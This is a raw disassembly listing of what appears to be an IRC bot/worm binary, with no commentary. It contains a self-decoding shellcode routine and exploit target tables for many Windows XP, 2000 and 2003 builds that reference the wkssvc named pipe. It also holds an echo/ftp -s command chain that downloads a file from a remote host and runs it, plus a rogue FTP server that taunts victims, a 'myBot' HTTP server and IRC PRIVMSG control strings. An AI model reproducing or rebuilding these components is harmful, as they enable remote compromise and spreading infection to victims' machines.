dd 3C03DBEBh, 3C13DB6Eh, 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh
dd 75F4E0A8h, 90074F4Dh, 3E40E2EBh, 7807768h, 867E2599h
dd 3C86776Ah, 7807768h, 26D6C1D8h, 3F86776Ah, 9005DC69h
dd 88381BEDh, 38294E44h, 90055EC2h, 0B3AEEEDh, 233E05Bh
dd 3F3A6DB4h, 0E69CA164h, 0E614E2DAh, 9C90B9DFh, 42127697h
dd 0FC7CCAC3h, 0C468F2B0h, 1D382396h, 90463BC3h, 0B9AFCC48h
dd 3E02DF66h, 6E3AD96Ch, 3E05D96Ch, 0C23858C2h, 3C9E8DE4h
dd 903A5EC2h, 0BFAFBFC2h, 0ECACDFB6h, 0B9AFECF9h, 780776Fh
dd 305402CDh, 9086776Eh, 6F5088EDh, 0
; =============== S U B R O U T I N E =======================================
sub_4484BC proc near ; DATA XREF: sub_40F19D+AAo
; FUNCTION CHUNK AT 004484C2 SIZE 00000039 BYTES
pusha
jmp short loc_4484C2
sub_4484BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4484BF proc near ; CODE XREF: sub_4484BC:loc_4484C2p
pop ebx
push ebx
retn
sub_4484BF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4484BC
loc_4484C2: ; CODE XREF: sub_4484BC+1j
call sub_4484BF
xor eax, eax
add al, 34h
add eax, ebx
push eax
pop ebx
loc_4484CF: ; CODE XREF: sub_4484BC+3Cj
xor edx, edx
add dl, [eax]
inc eax
add dh, [eax]
inc eax
push eax
xor eax, eax
add al, 41h
sub dl, al
sub dh, al
shl dl, 4
shr dx, 4
xor eax, eax
xor dh, dh
add al, [ebx]
sub [ebx], al
add [ebx], dx
inc ebx
pop eax
xor ecx, ecx
add cl, [eax]
loopne loc_4484CF
popa
; END OF FUNCTION CHUNK FOR sub_4484BC
; ---------------------------------------------------------------------------
db 0
align 10h
dd offset aWindowsXpSp01G ; "Windows XP SP0+1 GER+NL+IT+FR"
dword_448504 dd 77BD3143h dword_448508 dd 7FCh byte_44850C db 1 ; DATA XREF: sub_40F19D:loc_40F440r
; sub_40F19D+2CAr ...
align 10h
dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG"
db 43h
; ---------------------------------------------------------------------------
loc_448515: ; CODE XREF: seg002:00448517j
xor eax, eax
ja short loc_448515
pop es
; ---------------------------------------------------------------------------
dw 0
dd 1, 448BF8h, 77BD1F89h, 7FCh, 1, 448C0Ch, 77BD1FA8h
dd 7FCh, 1, 448C20h, 77BD1FD6h, 7FCh, 1, 448C34h, 77BD2195h
dd 7FCh, 1, 448C48h, 77BD21B3h, 7FCh, 1, 448C5Ch, 77BD21E0h
dd 7FCh, 1, 448C70h, 77BD220Ch, 7FCh, 1, 448C84h, 77BD2241h
dd 7FCh, 1, 448C98h, 77BD22D2h, 7FCh, 1, 448CACh, 77BD28B2h
dd 7FCh, 1, 448CC0h, 77BD29ABh, 7FCh, 1, 448CD4h, 77BD29E7h
dd 7FCh, 1, 448CE8h, 77BD29F7h, 7FCh, 1, 448CFCh, 77BD2A03h
dd 7FCh, 1, 448D10h, 77BD2D6Dh, 7FCh, 1, 448D24h, 77BD2DB3h
dd 7FCh, 1, 448D38h, 77BD2EC2h, 7FCh, 1, 448D4Ch, 77BD2EDDh
dd 7FCh, 1, 448D60h, 77BD30AFh, 7FCh, 1, 448D74h, 77BD312Bh
dd 7FCh, 1, 448D88h, 77BD3160h, 7FCh, 1, 448D9Ch, 77BD349Ah
dd 7FCh, 1, 448DB0h, 77BD34E4h, 7FCh, 1, 448DC4h, 655B4F02h
dd 7E7h, 0
dd offset aWindowsUkXpPro ; "Windows uk xp pro sp1 1"
dd 77C01F89h, 7FCh, 1, 448DF8h, 77C01FA8h, 7FCh, 1, 448E10h
dd 77C01FD6h, 7FCh, 1, 448E28h, 77C02195h, 7FCh, 1, 448E40h
dd 77C021B3h, 7FCh, 1, 448E58h, 77C021E0h, 7FCh, 1, 448E70h
dd 77C0220Ch, 7FCh, 1, 448E88h, 77C02241h, 7FCh, 1, 448EA0h
dd 77C022D2h, 7FCh, 1, 448EB8h, 77C028B2h, 7FCh, 1, 448ED4h
dd 77C029ABh, 7FCh, 1, 448EF0h, 77C029E7h, 7FCh, 1, 448F0Ch
dd 77C029F7h, 7FCh, 1, 448F28h, 77C02A03h, 7FCh, 1, 448F44h
dd 77C02A39h, 7FCh, 1, 448F60h, 77C02D6Dh, 7FCh, 1, 448F7Ch
dd 77C02DB3h, 7FCh, 1, 448F98h, 77C02EC2h, 7FCh, 1, 448FB4h
dd 77C02EDDh, 7FCh, 1, 448FD0h, 77C030AFh, 7FCh, 1, 448FECh
dd 77C0312Bh, 7FCh, 1, 449008h, 77C03143h, 7FCh, 1, 449024h
dd 77C03160h, 7FCh, 1, 449040h, 77C0349Ah, 7FCh, 1, 44905Ch
dd 77C034E4h, 7FCh, 1, 449078h, 77B920FDh, 7FCh, 1, 449090h
dd 77B9211Ch, 7FCh, 1, 4490A8h, 77B9214Ah, 7FCh, 1, 4490C0h
dd 77B9230Ch, 7FCh, 1, 4490D8h, 77B9232Ah, 7FCh, 1, 4490F0h
dd 77B92357h, 7FCh, 1, 449108h, 77B92383h, 7FCh, 1, 449120h
dd 77B923B8h, 7FCh, 1, 449138h, 77B92448h, 7FCh, 1, 449150h
dd 77B92AAAh, 7FCh, 1, 44916Ch, 77B92BA7h, 7FCh, 1, 449188h
dd 77B92BE3h, 7FCh, 1, 4491A4h, 77B92BF3h, 7FCh, 1, 4491C0h
dd 77B92BFFh, 7FCh, 1, 4491DCh, 77B92F78h, 7FCh, 1, 4491F8h
dd 77B92FBEh, 7FCh, 1, 449214h, 77B930EFh, 7FCh, 1, 449230h
dd 77B9310Dh, 7FCh, 1, 44924Ch, 77B9330Ch, 7FCh, 1, 449268h
dd 77B93388h, 7FCh, 1, 449284h, 77B9339Eh, 7FCh, 1, 4492A0h
dd 77B933BAh, 7FCh, 1, 4492BCh, 77B9373Dh, 7FCh, 1, 4492D8h
dd 77B9378Ah, 7FCh, 1, 4492F4h, 77B920FDh, 7FCh, 1, 44930Ch
dd 77B9211Ch, 7FCh, 1, 449324h, 77B9214Ah, 7FCh, 1, 44933Ch
dd 77B9230Ch, 7FCh, 1, 449354h, 77B9232Ah, 7FCh, 1, 44936Ch
dd 77B92357h, 7FCh, 1, 449384h, 77B92383h, 7FCh, 1, 44939Ch
dd 77B923B8h, 7FCh, 1, 4493B4h, 77B92448h, 7FCh, 1, 4493CCh
dd 77B92AAAh, 7FCh, 1, 4493E8h, 77B92BA7h, 7FCh, 1, 449404h
dd 77B92BE3h, 7FCh, 1, 449420h, 77B92BF3h, 7FCh, 1, 44943Ch
dd 77B92BFFh, 7FCh, 1, 449458h, 77B92F78h, 7FCh, 1, 449474h
dd 77B92FBEh, 7FCh, 1, 449490h, 77B930EFh, 7FCh, 1, 4494ACh
dd 77B9310Dh, 7FCh, 1, 4494C8h, 77B9330Ch, 7FCh, 1, 4494E4h
dd 77B93388h, 7FCh, 1, 449500h, 77B9339Eh, 7FCh, 1, 44951Ch
dd 77B933BAh, 7FCh, 1, 449538h, 77B9373Dh, 7FCh, 1, 449554h
dd 77B9378Ah, 7FCh, 1, 449570h, 41414141h, 7FCh, 1, 44957Ch
dd 77E14C29h, 7FCh, 1, 449594h, 77E3CB4Ch, 7FCh, 1, 4495ACh
dd 77E42C75h, 7FCh, 1, 4495C4h, 77E3C256h, 7FCh, 1, 4495DCh
dd 77E2AFC5h, 7FCh, 1, 4495F4h, 77E2492Bh, 7FCh, 1, 44960Ch
dd 77E4FF15h, 7FCh, 1, 449624h, 77E33F4Dh, 7FCh, 1
aWindowsXpSp01G db 'Windows XP SP0+1 GER+NL+IT+FR',0 ; DATA XREF: seg002:00448500o
align 10h
aWindowsXpSp01E db 'Windows XP SP0+1 ENG',0 ; DATA XREF: seg002:00448510o
align 4
aWindowsNlSp11 db 'Windows nl sp1 1',0
align 4
aWindowsNlSp12 db 'Windows nl sp1 2',0
align 10h
aWindowsNlSp13 db 'Windows nl sp1 3',0
align 4
aWindowsNlSp14 db 'Windows nl sp1 4',0
align 4
aWindowsNlSp15 db 'Windows nl sp1 5',0
align 4
aWindowsNlSp16 db 'Windows nl sp1 6',0
align 10h
aWindowsNlSp17 db 'Windows nl sp1 7',0
align 4
aWindowsNlSp18 db 'Windows nl sp1 8',0
align 4
aWindowsNlSp19 db 'Windows nl sp1 9',0
align 4
aWindowsNlSp110 db 'Windows nl sp1 10',0
align 10h
aWindowsNlSp111 db 'Windows nl sp1 11',0
align 4
aWindowsNlSp112 db 'Windows nl sp1 12',0
align 4
aWindowsNlSp113 db 'Windows nl sp1 13',0
align 4
aWindowsNlSp114 db 'Windows nl sp1 14',0
align 10h
aWindowsNlSp115 db 'Windows nl sp1 15',0
align 4
aWindowsNlSp116 db 'Windows nl sp1 16',0
align 4
aWindowsNlSp117 db 'Windows nl sp1 17',0
align 4
aWindowsNlSp118 db 'Windows nl sp1 18',0
align 10h
aWindowsNlSp119 db 'Windows nl sp1 19',0
align 4
aWindowsNlSp120 db 'Windows nl sp1 20',0
align 4
aWindowsNlSp121 db 'Windows nl sp1 21',0
align 4
aWindowsNlSp122 db 'Windows nl sp1 22',0
align 10h
aWindowsNlSp123 db 'Windows nl sp1 23',0
align 4
aWindows2000Sp4 db 'Windows 2000 SP4 GER FAT32',0
align 10h
aWindowsUkXpPro db 'Windows uk xp pro sp1 1',0 ; DATA XREF: seg002:004486A0o
aWindowsUkXpP_0 db 'Windows uk xp pro sp1 2',0
aWindowsUkXpP_1 db 'Windows uk xp pro sp1 3',0
aWindowsUkXpP_2 db 'Windows uk xp pro sp1 4',0
aWindowsUkXpP_3 db 'Windows uk xp pro sp1 5',0
aWindowsUkXpP_4 db 'Windows uk xp pro sp1 6',0
aWindowsUkXpP_5 db 'Windows uk xp pro sp1 7',0
aWindowsUkXpP_6 db 'Windows uk xp pro sp1 8',0
aWindowsUkXpP_7 db 'Windows uk xp pro sp1 9',0
aWindowsUkXpP_8 db 'Windows uk xp pro sp1 10',0
align 4
aWindowsUkXpP_9 db 'Windows uk xp pro sp1 11',0
align 10h
aWindowsUkXp_10 db 'Windows uk xp pro sp1 12',0
align 4
aWindowsUkXp_11 db 'Windows uk xp pro sp1 13',0
align 4
aWindowsUkXp_12 db 'Windows uk xp pro sp1 14',0
align 4
aWindowsUkXp_13 db 'Windows uk xp pro sp1 15',0
align 10h
aWindowsUkXp_14 db 'Windows uk xp pro sp1 16',0
align 4
aWindowsUkXp_15 db 'Windows uk xp pro sp1 17',0
align 4
aWindowsUkXp_16 db 'Windows uk xp pro sp1 18',0
align 4
aWindowsUkXp_17 db 'Windows uk xp pro sp1 19',0
align 10h
aWindowsUkXp_18 db 'Windows uk xp pro sp1 20',0
align 4
aWindowsUkXp_19 db 'Windows uk xp pro sp1 21',0
align 4
aWindowsUkXp_20 db 'Windows uk xp pro sp1 22',0
align 4
aWindowsUkXp_21 db 'Windows uk xp pro sp1 23',0
align 10h
aWindowsUkXp_22 db 'Windows uk xp pro sp1 24',0
align 4
aWindowsUkXp_23 db 'Windows uk xp pro sp1 25',0
align 4
aWindowsUk2k3Se db 'Windows uk 2k3 se sp0 1',0
aWindowsUk2k3_0 db 'Windows uk 2k3 se sp0 2',0
aWindowsUk2k3_1 db 'Windows uk 2k3 se sp0 3',0
aWindowsUk2k3_2 db 'Windows uk 2k3 se sp0 4',0
aWindowsUk2k3_3 db 'Windows uk 2k3 se sp0 5',0
aWindowsUk2k3_4 db 'Windows uk 2k3 se sp0 6',0
aWindowsUk2k3_5 db 'Windows uk 2k3 se sp0 7',0
aWindowsUk2k3_6 db 'Windows uk 2k3 se sp0 8',0
aWindowsUk2k3_7 db 'Windows uk 2k3 se sp0 9',0
aWindowsUk2k3_8 db 'Windows uk 2k3 se sp0 10',0
align 4
aWindowsUk2k3_9 db 'Windows uk 2k3 se sp0 11',0
align 4
aWindowsUk2k_10 db 'Windows uk 2k3 se sp0 12',0
align 4
aWindowsUk2k_11 db 'Windows uk 2k3 se sp0 13',0
align 10h
aWindowsUk2k_12 db 'Windows uk 2k3 se sp0 14',0
align 4
aWindowsUk2k_13 db 'Windows uk 2k3 se sp0 15',0
align 4
aWindowsUk2k_14 db 'Windows uk 2k3 se sp0 16',0
align 4
aWindowsUk2k_15 db 'Windows uk 2k3 se sp0 17',0
align 10h
aWindowsUk2k_16 db 'Windows uk 2k3 se sp0 18',0
align 4
aWindowsUk2k_17 db 'Windows uk 2k3 se sp0 19',0
align 4
aWindowsUk2k_18 db 'Windows uk 2k3 se sp0 20',0
align 4
aWindowsUk2k_19 db 'Windows uk 2k3 se sp0 21',0
align 10h
aWindowsUk2k_20 db 'Windows uk 2k3 se sp0 22',0
align 4
aWindowsUk2k_21 db 'Windows uk 2k3 se sp0 23',0
align 4
aWindowsUk2k_22 db 'Windows uk 2k3 se sp0 24',0
align 4
aWindowsUk2k3Ee db 'Windows uk 2k3 ee sp0 1',0
aWindowsUk2k_23 db 'Windows uk 2k3 ee sp0 2',0
aWindowsUk2k_24 db 'Windows uk 2k3 ee sp0 3',0
aWindowsUk2k_25 db 'Windows uk 2k3 ee sp0 4',0
aWindowsUk2k_26 db 'Windows uk 2k3 ee sp0 5',0
aWindowsUk2k_27 db 'Windows uk 2k3 ee sp0 6',0
aWindowsUk2k_28 db 'Windows uk 2k3 ee sp0 7',0
aWindowsUk2k_29 db 'Windows uk 2k3 ee sp0 8',0
aWindowsUk2k_30 db 'Windows uk 2k3 ee sp0 9',0
aWindowsUk2k_31 db 'Windows uk 2k3 ee sp0 10',0
align 4
aWindowsUk2k_32 db 'Windows uk 2k3 ee sp0 11',0
align 4
aWindowsUk2k_33 db 'Windows uk 2k3 ee sp0 12',0
align 10h
aWindowsUk2k_34 db 'Windows uk 2k3 ee sp0 13',0
align 4
aWindowsUk2k_35 db 'Windows uk 2k3 ee sp0 14',0
align 4
aWindowsUk2k_36 db 'Windows uk 2k3 ee sp0 15',0
align 4
aWindowsUk2k_37 db 'Windows uk 2k3 ee sp0 16',0
align 10h
aWindowsUk2k_38 db 'Windows uk 2k3 ee sp0 17',0
align 4
aWindowsUk2k_39 db 'Windows uk 2k3 ee sp0 18',0
align 4
aWindowsUk2k_40 db 'Windows uk 2k3 ee sp0 19',0
align 4
aWindowsUk2k_41 db 'Windows uk 2k3 ee sp0 20',0
align 10h
aWindowsUk2k_42 db 'Windows uk 2k3 ee sp0 21',0
align 4
aWindowsUk2k_43 db 'Windows uk 2k3 ee sp0 22',0
align 4
aWindowsUk2k_44 db 'Windows uk 2k3 ee sp0 23',0
align 4
aWindowsUk2k_45 db 'Windows uk 2k3 ee sp0 24',0
align 10h
aDosXpAll db 'DoS XP ALL',0
align 4
aWin2kSp4FromPh db 'Win2K SP4 From PhaTTy 1',0
aWin2kSp1FromPh db 'Win2K SP1 From PhaTTy 1',0
aWin2kSp4From_0 db 'Win2K SP4 From PhaTTy 2',0
aWin2kSp4From_1 db 'Win2K SP4 From PhaTTy 3',0
aWin2kSp3FromPh db 'Win2K SP3 From PhaTTy 1',0
aWin2kSp2FromPh db 'Win2K SP2 From PhaTTy 1',0
aWin2kSp1From_0 db 'Win2K SP1 From PhaTTy 2',0
aWin2kSp0FromPh db 'Win2K SP0 From PhaTTy 1',0
aS_32 db '\\%s',0 ; DATA XREF: sub_40F19D+128o
align 4
a__4: ; DATA XREF: sub_40F19D+159o
unicode 0, <.>,0
aSIpc_0 db '\\%s\ipc$',0 ; DATA XREF: sub_40F19D+16Fo
align 4
aSPipeWkssvc db '\\%s\pipe\wkssvc',0 ; DATA XREF: sub_40F19D+1BCo
align 4
dword_449668 dd 6BFFD098h, 3610A112h, 0C3463398h, 5A347EF8h, 0
; DATA XREF: sub_40F19D+21Bo
dword_44967C dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_449690 dd 2E646D63h, 657865hunk_449698 db 2 ; DATA XREF: seg000:0040FA2Eo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Fh, 6Eh
db 2
db 6Eh, 2, 65h
db 63h ; c
db 74h, 2, 42h
db 2
db 61h, 63h, 6Bh
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorSocketFa db '2 Error: socket() failed, returned: <%d>.',0
align 4
unk_4496EC db 2 ; DATA XREF: seg000:0040FAC1o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Fh, 6Eh
db 2
db 6Eh, 2, 65h
db 63h ; c
db 74h, 2, 42h
db 2
db 61h, 63h, 6Bh
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorBindFail db '2 Error: bind() failed, returned: <%d>.',0
align 10h
unk_449740 db 2 ; DATA XREF: seg000:0040FB4Co
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Fh, 6Eh
db 2
db 6Eh, 2, 65h
db 63h ; c
db 74h, 2, 42h
db 2
db 61h, 63h, 6Bh
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ErrorBindFa_0 db '2 Error: bind() failed, returned: <%d>.',0
align 4
unk_449794 db 2 ; DATA XREF: seg000:0040FBF2o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 43h ; C
db 2, 6Fh, 6Eh
db 2
db 6Eh, 2, 65h
db 63h ; c
db 74h, 2, 42h
db 2
db 61h, 63h, 6Bh
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ClientConnect db '2 Client connection from IP: %s:%d.',0
align 4
aEchoOpenSDOE_1 db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
; DATA XREF: seg000:0040FC69o
db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:0040FE96o
align 4
aSS_1 db '%s %s',0 ; DATA XREF: seg000:0040FF1Eo
align 4
aUser_1 db 'USER',0 ; DATA XREF: seg000:0040FF2Fo
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: seg000:0040FF44o
align 4
aPass db 'PASS',0 ; DATA XREF: seg000:0040FF54o
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:0040FF68o
align 4
aSyst db 'SYST',0 ; DATA XREF: seg000:0040FF78o
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: seg000:0040FF8Co
align 4
aRest db 'REST',0 ; DATA XREF: seg000:0040FF9Co
align 4
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:0040FFB0o
align 4
off_4498E8 dd offset dword_445750 ; DATA XREF: seg000:0040FFC0o
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:0040FFD4o
align 4
aType db 'TYPE',0 ; DATA XREF: seg000:0040FFE4o
align 4
aA_0: ; DATA XREF: seg000:0040FFFBo
unicode 0, <A>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0041000Fo
aType_0 db 'TYPE',0 ; DATA XREF: seg000:0041001Fo
align 4
aI: ; DATA XREF: seg000:00410036o
unicode 0, <I>,0
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:0041004Ao
aPasv db 'PASV',0 ; DATA XREF: seg000:0041005Ao
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: seg000:0041006Do
align 10h
aList_0 db 'LIST',0 ; DATA XREF: seg000:004100A8o
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004100BBo
align 10h
aPort db 'PORT',0 ; DATA XREF: seg000:004100E9o
align 4
aS_19 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00410122o
db ']',0
aXX db '%x%x',0Ah,0 ; DATA XREF: seg000:00410163o
align 4
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: seg000:00410196o
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004101A7o
align 4
aRetr db 'RETR',0 ; DATA XREF: seg000:004101BCo
align 4
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: seg000:004101D4o
align 4
dword_449A38 dd 35310302h, 25B302Ch, 91343003h, 1F323003h, 1F024602h
; DATA XREF: seg000:004101FDo
dd 2700254h, 2C343003h, 3A353103h, 2203403h, 61740253h
dd 74027202h, 26E0269h, 54022067h, 61027202h, 2736E02h
dd 72650266h, 6F025420h, 20320302h, 7325h
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:00410247o
dword_449A9C dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 1F024602h
; DATA XREF: seg000:00410259o
dd 2700254h, 2C313003h, 3A353103h, 4F320320h, 3430031Fh
dd 1F1F1F2Eh, 77323003h, 3430031Fh, 3430032Eh, 24E021Fh
dd 3430031Fh, 3230032Eh, 1F1F651Fh, 1F343003h, 30031F2Eh
dd 34034432h, 732520h
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: seg000:004102AAo
align 4
aQuit_1 db 'QUIT',0 ; DATA XREF: seg000:004102B7o
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004102CBo
aRb db 'rb',0 ; DATA XREF: sub_41037E+24o
align 10h
aGet db 'GET ',0 ; DATA XREF: sub_410418+26Fo
align 4
asc_449B48: ; DATA XREF: sub_410418+292o
unicode 0, < >,0
asc_449B4C: ; DATA XREF: sub_410418+297o
unicode 0, < >,0
aGet_0 db 'GET ',0 ; DATA XREF: sub_410418+2A2o
align 4
asc_449B58 db 0Dh,0Ah,0 ; DATA XREF: sub_410418+2D5o
align 4
unk_449B5C db 2 ; DATA XREF: sub_410418+3FEo
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 2
db 70h, 2, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2ServerFailedR db '2 server failed, returned %d',0
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_410879+5Eo
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_410879:loc_4108DEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_410879+83o
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_410879+97o
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_410879+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
aS_20 db '\%s',0 ; DATA XREF: seg000:00410A2Ao
aS_21 db '%s',0 ; DATA XREF: seg000:00410A35o
align 4
aSS_2 db '%s%s',0 ; DATA XREF: seg000:00410AE5o
align 10h
asc_449DC0: ; DATA XREF: seg000:00410AF6o
dw 0Ah
unicode 0, <>,0
asc_449DC4: ; DATA XREF: seg000:00410B52o
unicode 0, <*>,0
unk_449DC8 db 2 ; DATA XREF: seg000:00410C06o
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 2
db 70h, 2, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2WorkerThreadO db '2 worker thread of server thread: %d.',0
align 10h
unk_449E10 db 2 ; DATA XREF: seg000:00410C8Ao
db 3, 31h, 35h
db 2Ch ; ,
db 30h, 5Bh, 2
db 3
db 30h, 32h, 91h
db 3
db 30h, 34h, 2
db 48h ; H
db 2, 2 dup(74h)
db 2
db 70h, 2, 64h
db 3
db 30h, 32h, 2Ch
db 3
db 31h, 35h, 3Ah
db 3
a2FailedToStart db '2 failed to start worker thread, error %d',0
align 4
asc_449E5C: ; DATA XREF: seg000:00410CD4o
dw 0Ah
unicode 0, <>,0
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410CF6o
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: seg000:00410D23o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 10h
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00410D58o
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410DA2o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410DD6o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:00410DF2o
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410E6Bo
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
a__ db '..',0 ; DATA XREF: seg000:00410EDDo
align 10h
a__0: ; DATA XREF: seg000:00410EF8o
unicode 0, <.>,0
aPm_0 db 'PM',0 ; DATA XREF: seg000:00410F30o
align 4
aAm db 'AM',0 ; DATA XREF: seg000:00410F3Bo
align 4
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: seg000:00410F65o
aS_22 db '<%s>',0 ; DATA XREF: seg000:00410F8Fo
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: seg000:00410FB9o
align 10h
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00410FDBo
db '<TD WIDTH="%d"><A HREF="',0
align 10h
aSS_3 db '%s%s/',0 ; DATA XREF: seg000:0041101Fo
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:00411066o
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_41106Do
align 10h
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: seg000:004110ACo
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aS_23 db '<%s>',0 ; DATA XREF: seg000:004110BEo
align 10h
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004110DFo
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:0041111Co
align 4
aTrTdWidthDAH_0 db '<TR>',0Dh,0Ah ; DATA XREF: seg000:00411131o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aSS_4 db '%s%s',0 ; DATA XREF: seg000:00411175o
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004111BCo
align 10h
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4111C3o
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: seg000:0041120Co
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
